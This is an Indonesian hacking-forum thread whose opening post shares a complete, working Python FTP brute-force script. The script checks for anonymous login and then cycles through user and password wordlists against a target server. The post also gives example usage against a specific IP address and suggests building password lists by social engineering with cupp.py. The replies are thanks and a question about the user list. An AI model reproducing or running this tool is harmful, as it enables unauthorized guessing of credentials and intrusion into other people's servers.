Simpel BruteForce FTP menggunakan script python
#1
Assalamualaikum wr wb.
wah malem nih mata ane perih kena angin Big Grin , tapi kagak apa2 sambil sedikit sayu nih mata ane sempetin bikin thread sederhana. Selama ini kan kita nge-brutefoce make tools hydra, medusa, dan masih banyak lagi khususnya buat nge-brute ftp, ssh dan lain-lainnya. Nah make tool yang udah ane sebutin tadi agak ribet bagi yang baru bermain di bruteforce (ane juga gitu, mungkin belum terbiasa kali ya ). Nih ane dapet dari forum sebelah file script berbasis uler python buat ngebruteforce FTP (File Transfer Protocol ) .

Nah sekarang di copas nih script python nya simpen dengan nama ftpbrute.py
bagi jempol nya dulu ya om Big Grin ,,, kalo bermanfaat kasi yang ijo-ijonya dengan ikhlas ya Big Grin

[hide]
Thank You Jempolnya ya kakak ? Ijo-Ijo nya mana buat adek ? Big Grin
Code:
#!usr/bin/python
#FtpBruteForcer

import threading, time, random, sys, ftplib
from ftplib import FTP
from copy import copy




if len(sys.argv) !=4:
   print "Usage: python ftpbrute.py <server> <userlist> <wordlist>"
   sys.exit(1)

try:
     users = open(sys.argv[2], "r").readlines()
except(IOError):
     print "Error: Check your userlist path\n"
     sys.exit(1)
  
try:
     words = open(sys.argv[3], "r").readlines()
except(IOError):
     print "Error: Check your wordlist path\n"
     sys.exit(1)

print "\n\t   d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

try:
   f = FTP(sys.argv[1])
   print "[+] Response:",f.getwelcome()
except (ftplib.all_errors):
   pass

try:
   print "\n[+] Checking for anonymous login\n"
   ftp = FTP(sys.argv[1])
   ftp.login()
   ftp.retrlines('LIST')
   print "\t\nAnonymous login successful!!!\n"
   ftp.quit()
except (ftplib.all_errors):
   print "\tAnonymous login unsuccessful\n"

wordlist = copy(words)

def reloader():
   for word in wordlist:
      words.append(word)

def getword():
   lock = threading.Lock()
   lock.acquire()
   if len(words) != 0:
      value = random.sample(words,  1)
      words.remove(value[0])      
   else:
      print "\nReloading Wordlist - Changing User\n"
      reloader()
      value = random.sample(words,  1)
      users.remove(users[0])
      
   lock.release()
   if len(users) ==1:
      return value[0][:-1], users[0]
   else:
      return value[0][:-1], users[0][:-1]
      
class Worker(threading.Thread):
    
   def run(self):
      value, user = getword()
      try:
         print "-"*12
         print "User:",user,"Password:",value
         ftp = FTP(sys.argv[1])
         ftp.login(user, value)
         ftp.retrlines('LIST')
         print "\t\nLogin successful:",value, user
         ftp.quit()
         work.join()
         sys.exit(2)
      except (ftplib.all_errors), msg:
         #print"An error occurred:", msg
         pass

for i in range(len(words)*len(users)):
   work = Worker()
   work.start()
   time.sleep(1)

Nah tinggal jalanin dah , jangan lupa di chmod dulu happy terus jalanin nya
Code:
me@gnomeselpa:~# python ftpbrute.py
Usage: python ftpbrute.py <server> <userlist> <wordlist>
ex: python ftpbtrute.py 207.191.77.19 user.txt pass.txt

Code:
"./ftpbrute.py" it's do not worked
nah, diatas ada userlist ama wordlist. saran ane sih kalo mau ngebrute username/password kudu soceng dulu tuh buat ngebikin wordlist nya. ada tuh banyak di naga ngebikin password social enginering, ane sih biasanya pake cupp.py yang di directory /pentest/passwords/cupp/. Udah ah, udah malem, ngantuk mau tidur. tapi alhmdulillah finish juga nih thread ane, udah work tuh script nya kalo di copas, thank all. cemungut cemungut eeaa Big Grin
Code:
sumber:tool ini ane dapet dari https://www.facebook.com/lee.inglun
[/hide]




Quote:~ Tan Hana Wighna Tan Sirna ~

#2
:-bd keren om tutor nya,, izin coba tutorial nya \m/
r1ku@Ibt-sumbar :~# /root/pentest/galau_ka.sh

#3
(12-08-2012, 01:35 AM)r1ku Wrote: :-bd keren om tutor nya,, izin coba tutorial nya \m/

silahkan om, Smile
semangat yak... keep share Big Grin
Quote:~ Tan Hana Wighna Tan Sirna ~

#4
ane mau test dulu ahhkk keknya tutornya keren nih heheh
alpoah@IBTeam:~#


Power Off BODOH

#5
(12-08-2012, 01:39 AM)alpoah Wrote: ane mau test dulu ahhkk keknya tutornya keren nih heheh

thank you om aldy alpoah Big Grin, moga berguna buat kita semua Smile
semungut ya om Big Grin
Quote:~ Tan Hana Wighna Tan Sirna ~

#6
di test ah... keren dah ilmu nya.. hehhehehhehe
+1 dri ane om
Quote:how many failures to come I will always try to rise

#7
(12-08-2012, 04:51 AM)errorconnection Wrote: di test ah... keren dah ilmu nya.. hehhehehhehe
+1 dri ane om

Thank you om, mudah2an berguna bagi temen2 Smile
Quote:~ Tan Hana Wighna Tan Sirna ~

#8
mau nanya om. untuk user.txt itu apa file kosong atau
user.txt nya kayak wordlist juga....
mohon pencerahan nya yah om.. Big Grin
Quote:how many failures to come I will always try to rise

#9
(12-08-2012, 01:44 AM)gnome_selpa Wrote:
(12-08-2012, 01:39 AM)alpoah Wrote: ane mau test dulu ahhkk keknya tutornya keren nih heheh

thank you om aldy alpoah Big Grin, moga berguna buat kita semua Smile
semungut ya om Big Grin


seeeppp seeppp bang dapet ilmu buat bagiin ama yang lain hehe


makasii kk selpa
alpoah@IBTeam:~#


Power Off BODOH

#10
(12-08-2012, 04:21 PM)errorconnection Wrote: mau nanya om. untuk user.txt itu apa file kosong atau
user.txt nya kayak wordlist juga....
mohon pencerahan nya yah om.. Big Grin

wordlist juga om Smile

Quote:~ Tan Hana Wighna Tan Sirna ~






Users browsing this thread: 1 Guest(s)